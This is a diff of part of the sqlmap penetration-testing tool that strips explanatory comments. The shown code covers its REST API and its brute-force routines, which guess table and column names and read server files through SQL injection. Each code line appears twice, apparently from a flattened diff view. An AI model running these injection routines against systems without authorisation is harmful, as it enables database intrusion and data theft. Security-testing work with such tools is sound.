logger.warning("[%s] Invalid JSON options provided to option_set()" % taskid) logger.warning("[%s] Invalid JSON options provided to option_set()" % taskid)
# Return a JSON response indicating failure
return jsonize({"success": False, "message": "Invalid JSON options"}) return jsonize({"success": False, "message": "Invalid JSON options"})
# Iterate through the request JSON
for option, value in request.json.items(): for option, value in request.json.items():
# Set the option for the task ID in the DataStore
DataStore.tasks[taskid].set_option(option, value) DataStore.tasks[taskid].set_option(option, value)
# Log a debug message indicating the options have been set
logger.debug("(%s) Requested to set options" % taskid) logger.debug("(%s) Requested to set options" % taskid)
# Return a JSON response indicating success
return jsonize({"success": True}) return jsonize({"success": True})
# Handle scans # Handle scans
@ -565,18 +530,13 @@ def scan_stop(taskid):
Stop a scan Stop a scan
""" """
# 检查任务ID是否有效
if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()):
# 如果任务ID无效记录警告日志并返回错误信息
logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid) logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid)
return jsonize({"success": False, "message": "Invalid task ID"}) return jsonize({"success": False, "message": "Invalid task ID"})
# 停止任务
DataStore.tasks[taskid].engine_stop() DataStore.tasks[taskid].engine_stop()
# 记录调试日志
logger.debug("(%s) Stopped scan" % taskid) logger.debug("(%s) Stopped scan" % taskid)
# 返回成功信息
return jsonize({"success": True}) return jsonize({"success": True})
@get("/scan/<taskid>/kill") @get("/scan/<taskid>/kill")
@ -649,17 +609,14 @@ def scan_log_limited(taskid, start, end):
json_log_messages = list() json_log_messages = list()
# Check if the taskid exists in the DataStore
if taskid not in DataStore.tasks: if taskid not in DataStore.tasks:
logger.warning("[%s] Invalid task ID provided to scan_log_limited()" % taskid) logger.warning("[%s] Invalid task ID provided to scan_log_limited()" % taskid)
return jsonize({"success": False, "message": "Invalid task ID"}) return jsonize({"success": False, "message": "Invalid task ID"})
# Check if the start and end values are digits and if the end value is greater than the start value
if not start.isdigit() or not end.isdigit() or int(end) < int(start): if not start.isdigit() or not end.isdigit() or int(end) < int(start):
logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid) logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid)
return jsonize({"success": False, "message": "Invalid start or end value, must be digits"}) return jsonize({"success": False, "message": "Invalid start or end value, must be digits"})
# Set the start and end values to a minimum of 1
start = max(1, int(start)) start = max(1, int(start))
end = max(1, int(end)) end = max(1, int(end))
@ -678,7 +635,6 @@ def scan_log(taskid):
json_log_messages = list() json_log_messages = list()
# Check if the taskid exists in the DataStore
if taskid not in DataStore.tasks: if taskid not in DataStore.tasks:
logger.warning("[%s] Invalid task ID provided to scan_log()" % taskid) logger.warning("[%s] Invalid task ID provided to scan_log()" % taskid)
return jsonize({"success": False, "message": "Invalid task ID"}) return jsonize({"success": False, "message": "Invalid task ID"})
@ -729,27 +685,21 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
REST-JSON API server REST-JSON API server
""" """
# 生成一个随机的16字节的admin_token
DataStore.admin_token = encodeHex(os.urandom(16), binary=False) DataStore.admin_token = encodeHex(os.urandom(16), binary=False)
# 设置用户名和密码
DataStore.username = username DataStore.username = username
DataStore.password = password DataStore.password = password
# 如果没有指定数据库,则创建一个临时数据库
if not database: if not database:
_, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False) _, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False)
os.close(_) os.close(_)
else: else:
# 否则使用指定的数据库
Database.filepath = database Database.filepath = database
# 如果端口为0则随机生成一个端口
if port == 0: # random if port == 0: # random
with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s: with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:
s.bind((host, 0)) s.bind((host, 0))
port = s.getsockname()[1] port = s.getsockname()[1]
# 打印运行信息
logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port)) logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
logger.info("Admin (secret) token: %s" % DataStore.admin_token) logger.info("Admin (secret) token: %s" % DataStore.admin_token)
logger.debug("IPC database: '%s'" % Database.filepath) logger.debug("IPC database: '%s'" % Database.filepath)
@ -787,35 +737,25 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
logger.critical(errMsg) logger.critical(errMsg)
def _client(url, options=None): def _client(url, options=None):
# 打印正在调用的url
logger.debug("Calling '%s'" % url) logger.debug("Calling '%s'" % url)
try: try:
# 设置请求头
headers = {"Content-Type": "application/json"} headers = {"Content-Type": "application/json"}
# 如果options不为空则将options转换为json格式
if options is not None: if options is not None:
data = getBytes(jsonize(options)) data = getBytes(jsonize(options))
else: else:
data = None data = None
# 如果DataStore中有用户名或密码则将用户名和密码进行base64编码并添加到请求头中
if DataStore.username or DataStore.password: if DataStore.username or DataStore.password:
headers["Authorization"] = "Basic %s" % encodeBase64("%s:%s" % (DataStore.username or "", DataStore.password or ""), binary=False) headers["Authorization"] = "Basic %s" % encodeBase64("%s:%s" % (DataStore.username or "", DataStore.password or ""), binary=False)
# 创建请求对象
req = _urllib.request.Request(url, data, headers) req = _urllib.request.Request(url, data, headers)
# 发送请求并获取响应
response = _urllib.request.urlopen(req) response = _urllib.request.urlopen(req)
# 将响应内容转换为文本
text = getText(response.read()) text = getText(response.read())
except: except:
# 如果options不为空则打印错误信息
if options: if options:
logger.error("Failed to load and parse %s" % url) logger.error("Failed to load and parse %s" % url)
# 抛出异常
raise raise
# 返回文本
return text return text
def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=None, password=None): def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=None, password=None):

@ -62,77 +62,60 @@ def _addPageTextWords():
@stackedmethod @stackedmethod
def tableExists(tableFile, regex=None): def tableExists(tableFile, regex=None):
# 检查是否需要使用表存在性检查
if kb.choices.tableExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: if kb.choices.tableExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
# 如果使用PAYLOAD.TECHNIQUE.TIME和PAYLOAD.TECHNIQUE.STACKED进行表存在性检查则发出警告
warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
warnMsg += "for common table existence check" warnMsg += "for common table existence check"
logger.warning(warnMsg) logger.warning(warnMsg)
# 提示用户是否继续
message = "are you sure you want to continue? [y/N] " message = "are you sure you want to continue? [y/N] "
kb.choices.tableExists = readInput(message, default='N', boolean=True) kb.choices.tableExists = readInput(message, default='N', boolean=True)
# 如果用户选择不继续则返回None
if not kb.choices.tableExists: if not kb.choices.tableExists:
return None return None
# 检查表存在性
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr())))
# 如果检查结果无效,则抛出异常
if result: if result:
errMsg = "can't use table existence check because of detected invalid results " errMsg = "can't use table existence check because of detected invalid results "
errMsg += "(most likely caused by inability of the used injection " errMsg += "(most likely caused by inability of the used injection "
errMsg += "to distinguish erroneous results)" errMsg += "to distinguish erroneous results)"
raise SqlmapDataException(errMsg) raise SqlmapDataException(errMsg)
# 将数据库信息推送到kb.injection.data中
pushValue(conf.db) pushValue(conf.db)
# 如果数据库信息存在,并且数据库类型为大写,则将数据库信息转换为大写
if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
conf.db = conf.db.upper() conf.db = conf.db.upper()
# 提示用户选择表存在性检查的文件
message = "which common tables (wordlist) file do you want to use?\n" message = "which common tables (wordlist) file do you want to use?\n"
message += "[1] default '%s' (press Enter)\n" % tableFile message += "[1] default '%s' (press Enter)\n" % tableFile
message += "[2] custom" message += "[2] custom"
choice = readInput(message, default='1') choice = readInput(message, default='1')
# 如果用户选择自定义文件,则提示用户输入文件路径
if choice == '2': if choice == '2':
message = "what's the custom common tables file location?\n" message = "what's the custom common tables file location?\n"
tableFile = readInput(message) or tableFile tableFile = readInput(message) or tableFile
# 打印信息,表示正在使用文件进行表存在性检查
infoMsg = "performing table existence using items from '%s'" % tableFile infoMsg = "performing table existence using items from '%s'" % tableFile
logger.info(infoMsg) logger.info(infoMsg)
# 获取文件中的表名
tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)
tables.extend(_addPageTextWords()) tables.extend(_addPageTextWords())
tables = filterListValue(tables, regex) tables = filterListValue(tables, regex)
# 遍历数据库信息
for conf.db in (conf.db.split(',') if conf.db else [conf.db]): for conf.db in (conf.db.split(',') if conf.db else [conf.db]):
# 如果数据库信息存在,并且不是元数据库,则打印信息
if conf.db and METADB_SUFFIX not in conf.db: if conf.db and METADB_SUFFIX not in conf.db:
infoMsg = "checking database '%s'" % conf.db infoMsg = "checking database '%s'" % conf.db
logger.info(infoMsg) logger.info(infoMsg)
# 获取当前线程数据
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
threadData.shared.count = 0 threadData.shared.count = 0
threadData.shared.limit = len(tables) threadData.shared.limit = len(tables)
threadData.shared.files = [] threadData.shared.files = []
threadData.shared.unique = set() threadData.shared.unique = set()
# 定义线程函数
def tableExistsThread(): def tableExistsThread():
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
# 循环检查表存在性
while kb.threadContinue: while kb.threadContinue:
kb.locks.count.acquire() kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit: if threadData.shared.count < threadData.shared.limit:
@ -143,33 +126,28 @@ def tableExists(tableFile, regex=None):
kb.locks.count.release() kb.locks.count.release()
break break
# 如果数据库信息存在并且不是元数据库并且数据库类型不是SQLite、Access、Firebird则构建完整的表名
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
fullTableName = "%s.%s" % (conf.db, table) fullTableName = "%s.%s" % (conf.db, table)
else: else:
fullTableName = table fullTableName = table
# 根据数据库类型构建表存在性检查的SQL语句
if Backend.isDbms(DBMS.MCKOI): if Backend.isDbms(DBMS.MCKOI):
_ = randomInt(1) _ = randomInt(1)
result = inject.checkBooleanExpression("%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName))) result = inject.checkBooleanExpression("%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName)))
else: else:
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
# 将结果添加到线程数据中
kb.locks.io.acquire() kb.locks.io.acquire()
if result and table.lower() not in threadData.shared.unique: if result and table.lower() not in threadData.shared.unique:
threadData.shared.files.append(table) threadData.shared.files.append(table)
threadData.shared.unique.add(table.lower()) threadData.shared.unique.add(table.lower())
# 如果verbose级别为1或2并且不是API调用则打印信息
if conf.verbose in (1, 2) and not conf.api: if conf.verbose in (1, 2) and not conf.api:
clearConsoleLine(True) clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
dataToStdout(infoMsg, True) dataToStdout(infoMsg, True)
# 如果verbose级别为1或2则打印状态信息
if conf.verbose in (1, 2): if conf.verbose in (1, 2):
status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
@ -177,342 +155,225 @@ def tableExists(tableFile, regex=None):
kb.locks.io.release() kb.locks.io.release()
try: try:
# 尝试运行线程
runThreads(conf.threads, tableExistsThread, threadChoice=True) runThreads(conf.threads, tableExistsThread, threadChoice=True)
except KeyboardInterrupt: except KeyboardInterrupt:
# 捕获用户中断
warnMsg = "user aborted during table existence " warnMsg = "user aborted during table existence "
warnMsg += "check. sqlmap will display partial output" warnMsg += "check. sqlmap will display partial output"
logger.warning(warnMsg) logger.warning(warnMsg)
# 清除控制台行
clearConsoleLine(True) clearConsoleLine(True)
# 输出换行符
dataToStdout("\n") dataToStdout("\n")
# 如果没有找到表
if not threadData.shared.files: if not threadData.shared.files:
warnMsg = "no table(s) found" warnMsg = "no table(s) found"
# 如果指定了数据库
if conf.db: if conf.db:
warnMsg += " for database '%s'" % conf.db warnMsg += " for database '%s'" % conf.db
logger.warning(warnMsg) logger.warning(warnMsg)
else: else:
# 遍历找到的表
for item in threadData.shared.files: for item in threadData.shared.files:
# 如果数据库不在缓存表中
if conf.db not in kb.data.cachedTables: if conf.db not in kb.data.cachedTables:
# 将表添加到缓存表中
kb.data.cachedTables[conf.db] = [item] kb.data.cachedTables[conf.db] = [item]
else: else:
# 否则将表添加到缓存表的列表中
kb.data.cachedTables[conf.db].append(item) kb.data.cachedTables[conf.db].append(item)
# 遍历找到的表
for _ in ((conf.db, item) for item in threadData.shared.files): for _ in ((conf.db, item) for item in threadData.shared.files):
# 如果表不在暴力破解表中
if _ not in kb.brute.tables: if _ not in kb.brute.tables:
# 将表添加到暴力破解表中
kb.brute.tables.append(_) kb.brute.tables.append(_)
# 从配置中弹出数据库
conf.db = popValue() conf.db = popValue()
# 将暴力破解表写入哈希数据库
hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)
# 返回缓存表
return kb.data.cachedTables return kb.data.cachedTables
def columnExists(columnFile, regex=None): def columnExists(columnFile, regex=None):
# 如果没有指定列存在性检查
if kb.choices.columnExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: if kb.choices.columnExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
# 警告信息
warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
warnMsg += "for common column existence check" warnMsg += "for common column existence check"
logger.warning(warnMsg) logger.warning(warnMsg)
# 提示用户是否继续
message = "are you sure you want to continue? [y/N] " message = "are you sure you want to continue? [y/N] "
kb.choices.columnExists = readInput(message, default='N', boolean=True) kb.choices.columnExists = readInput(message, default='N', boolean=True)
# 如果用户选择不继续
if not kb.choices.columnExists: if not kb.choices.columnExists:
return None return None
# 如果没有指定表
if not conf.tbl: if not conf.tbl:
# 抛出缺少表参数异常
errMsg = "missing table parameter" errMsg = "missing table parameter"
raise SqlmapMissingMandatoryOptionException(errMsg) raise SqlmapMissingMandatoryOptionException(errMsg)
# 如果指定了数据库并且数据库管理系统是大写的
if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
# 将数据库转换为大写
conf.db = conf.db.upper() conf.db = conf.db.upper()
# 注入检查布尔表达式
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr())))
# 如果结果无效
if result: if result:
# 抛出数据异常
errMsg = "can't use column existence check because of detected invalid results " errMsg = "can't use column existence check because of detected invalid results "
errMsg += "(most likely caused by inability of the used injection " errMsg += "(most likely caused by inability of the used injection "
errMsg += "to distinguish erroneous results)" errMsg += "to distinguish erroneous results)"
raise SqlmapDataException(errMsg) raise SqlmapDataException(errMsg)
# 提示用户选择列存在性检查文件
message = "which common columns (wordlist) file do you want to use?\n" message = "which common columns (wordlist) file do you want to use?\n"
message += "[1] default '%s' (press Enter)\n" % columnFile message += "[1] default '%s' (press Enter)\n" % columnFile
message += "[2] custom" message += "[2] custom"
choice = readInput(message, default='1') choice = readInput(message, default='1')
# 如果用户选择自定义文件
if choice == '2': if choice == '2':
# 提示用户输入自定义文件位置
message = "what's the custom common columns file location?\n" message = "what's the custom common columns file location?\n"
columnFile = readInput(message) or columnFile columnFile = readInput(message) or columnFile
# 输出信息
infoMsg = "checking column existence using items from '%s'" % columnFile infoMsg = "checking column existence using items from '%s'" % columnFile
logger.info(infoMsg) logger.info(infoMsg)
# 获取文件项
columns = getFileItems(columnFile, unique=True) columns = getFileItems(columnFile, unique=True)
# 添加页面文本单词
columns.extend(_addPageTextWords()) columns.extend(_addPageTextWords())
# 过滤列表值
columns = filterListValue(columns, regex) columns = filterListValue(columns, regex)
# 获取表名
table = safeSQLIdentificatorNaming(conf.tbl, True) table = safeSQLIdentificatorNaming(conf.tbl, True)
# 如果指定了数据库并且数据库后缀不在配置中并且数据库管理系统不是SQLite、Access或Firebird
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
# 将表名转换为数据库表名
table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table)
# 设置线程继续
kb.threadContinue = True kb.threadContinue = True
# 设置暴力破解模式
kb.bruteMode = True kb.bruteMode = True
# 获取当前线程数据
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
threadData.shared.count = 0 threadData.shared.count = 0
threadData.shared.limit = len(columns) threadData.shared.limit = len(columns)
threadData.shared.files = [] threadData.shared.files = []
def columnExistsThread(): def columnExistsThread():
# 获取当前线程的数据
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
# 当kb.threadContinue为True时循环执行
while kb.threadContinue: while kb.threadContinue:
# 获取count锁
kb.locks.count.acquire() kb.locks.count.acquire()
# 如果threadData.shared.count小于threadData.shared.limit
if threadData.shared.count < threadData.shared.limit: if threadData.shared.count < threadData.shared.limit:
# 获取列名
column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) column = safeSQLIdentificatorNaming(columns[threadData.shared.count])
# 增加计数
threadData.shared.count += 1 threadData.shared.count += 1
# 释放count锁
kb.locks.count.release() kb.locks.count.release()
else: else:
# 释放count锁
kb.locks.count.release() kb.locks.count.release()
# 跳出循环
break break
# 如果数据库类型是MCKOI
if Backend.isDbms(DBMS.MCKOI): if Backend.isDbms(DBMS.MCKOI):
# 检查列是否存在
result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table))) result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table)))
else: else:
# 检查列是否存在
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))
# 获取io锁
kb.locks.io.acquire() kb.locks.io.acquire()
# 如果列存在
if result: if result:
# 将列名添加到threadData.shared.files中
threadData.shared.files.append(column) threadData.shared.files.append(column)
# 如果verbose为1或2且不使用api
if conf.verbose in (1, 2) and not conf.api: if conf.verbose in (1, 2) and not conf.api:
# 清除控制台行
clearConsoleLine(True) clearConsoleLine(True)
# 输出信息
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column))
dataToStdout(infoMsg, True) dataToStdout(infoMsg, True)
# 如果verbose为1或2
if conf.verbose in (1, 2): if conf.verbose in (1, 2):
# 计算状态
status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
# 输出状态
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
# 释放io锁
kb.locks.io.release() kb.locks.io.release()
try: try:
# 运行线程
runThreads(conf.threads, columnExistsThread, threadChoice=True) runThreads(conf.threads, columnExistsThread, threadChoice=True)
except KeyboardInterrupt: except KeyboardInterrupt:
# 如果用户中断,输出警告信息
warnMsg = "user aborted during column existence " warnMsg = "user aborted during column existence "
warnMsg += "check. sqlmap will display partial output" warnMsg += "check. sqlmap will display partial output"
logger.warning(warnMsg) logger.warning(warnMsg)
finally: finally:
# 将bruteMode设置为False
kb.bruteMode = False kb.bruteMode = False
# 清除控制台行
clearConsoleLine(True) clearConsoleLine(True)
# 输出换行
dataToStdout("\n") dataToStdout("\n")
# 如果没有找到列
if not threadData.shared.files: if not threadData.shared.files:
# 输出警告信息
warnMsg = "no column(s) found" warnMsg = "no column(s) found"
logger.warning(warnMsg) logger.warning(warnMsg)
else: else:
# 初始化columns字典
columns = {} columns = {}
# 遍历threadData.shared.files中的列名
for column in threadData.shared.files: for column in threadData.shared.files:
# 如果数据库类型是MySQL
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):
# 检查列是否为数字
result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))
# 如果数据库类型是SQLite
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,): elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,):
# 检查列是否为数字
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column))) result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column)))
# 如果数据库类型是MCKOI
elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,): elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,):
# 检查列是否为数字
result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table))) result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table)))
else: else:
# 检查列是否为数字
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))
# 如果列是数字
if result: if result:
# 将列名和类型添加到columns字典中
columns[column] = "numeric" columns[column] = "numeric"
else: else:
# 将列名和类型添加到columns字典中
columns[column] = "non-numeric" columns[column] = "non-numeric"
# 将columns字典添加到kb.data.cachedColumns中
kb.data.cachedColumns[conf.db] = {conf.tbl: columns} kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
# 遍历columns字典中的列名和类型
for _ in ((conf.db, conf.tbl, item[0], item[1]) for item in columns.items()): for _ in ((conf.db, conf.tbl, item[0], item[1]) for item in columns.items()):
# 如果列名和类型不在kb.brute.columns中
if _ not in kb.brute.columns: if _ not in kb.brute.columns:
# 将列名和类型添加到kb.brute.columns中
kb.brute.columns.append(_) kb.brute.columns.append(_)
# 将kb.brute.columns写入hashDB
hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)
# 返回kb.data.cachedColumns
return kb.data.cachedColumns return kb.data.cachedColumns
@stackedmethod @stackedmethod
def fileExists(pathFile): def fileExists(pathFile):
# 定义一个空列表,用于存储文件路径
retVal = [] retVal = []
# 提示用户选择要使用的公共文件
message = "which common files file do you want to use?\n" message = "which common files file do you want to use?\n"
message += "[1] default '%s' (press Enter)\n" % pathFile message += "[1] default '%s' (press Enter)\n" % pathFile
message += "[2] custom" message += "[2] custom"
# 读取用户输入默认为1
choice = readInput(message, default='1') choice = readInput(message, default='1')
# 如果用户选择自定义文件
if choice == '2': if choice == '2':
# 提示用户输入自定义文件路径
message = "what's the custom common files file location?\n" message = "what's the custom common files file location?\n"
pathFile = readInput(message) or pathFile pathFile = readInput(message) or pathFile
# 打印检查文件存在的信息
infoMsg = "checking files existence using items from '%s'" % pathFile infoMsg = "checking files existence using items from '%s'" % pathFile
logger.info(infoMsg) logger.info(infoMsg)
# 获取文件路径列表
paths = getFileItems(pathFile, unique=True) paths = getFileItems(pathFile, unique=True)
# 设置暴力模式为True
kb.bruteMode = True kb.bruteMode = True
try: try:
# 读取随机字符串
conf.dbmsHandler.readFile(randomStr()) conf.dbmsHandler.readFile(randomStr())
except SqlmapNoneDataException: except SqlmapNoneDataException:
pass pass
except: except:
# 如果发生异常将暴力模式设置为False
kb.bruteMode = False kb.bruteMode = False
raise raise
# 获取当前线程数据
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
# 设置计数器为0
threadData.shared.count = 0 threadData.shared.count = 0
# 设置限制为路径列表的长度
threadData.shared.limit = len(paths) threadData.shared.limit = len(paths)
# 创建一个空列表,用于存储文件
threadData.shared.files = [] threadData.shared.files = []
# 定义一个线程函数,用于检查文件是否存在
def fileExistsThread(): def fileExistsThread():
# 获取当前线程数据
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
# 当线程继续时
while kb.threadContinue: while kb.threadContinue:
# 获取计数器的锁
kb.locks.count.acquire() kb.locks.count.acquire()
# 如果计数器小于限制
if threadData.shared.count < threadData.shared.limit: if threadData.shared.count < threadData.shared.limit:
# 获取路径
path = ntToPosixSlashes(paths[threadData.shared.count]) path = ntToPosixSlashes(paths[threadData.shared.count])
# 计数器加1
threadData.shared.count += 1 threadData.shared.count += 1
# 释放计数器的锁
kb.locks.count.release() kb.locks.count.release()
else: else:
# 释放计数器的锁
kb.locks.count.release() kb.locks.count.release()
# 跳出循环
break break
try: try:
# 读取路径
result = unArrayizeValue(conf.dbmsHandler.readFile(path)) result = unArrayizeValue(conf.dbmsHandler.readFile(path))
except SqlmapNoneDataException: except SqlmapNoneDataException:
# 如果没有数据将结果设置为None
result = None result = None
# 获取IO的锁
kb.locks.io.acquire() kb.locks.io.acquire()
# 如果结果不是None
if not isNoneValue(result): if not isNoneValue(result):
# 将结果添加到文件列表中
threadData.shared.files.append(result) threadData.shared.files.append(result)
# 如果不是API模式
if not conf.api: if not conf.api:
clearConsoleLine(True) clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (time.strftime("%X"), path) infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (time.strftime("%X"), path)

Some files were not shown because too many files have changed in this diff Show More

Loading…
Cancel
Save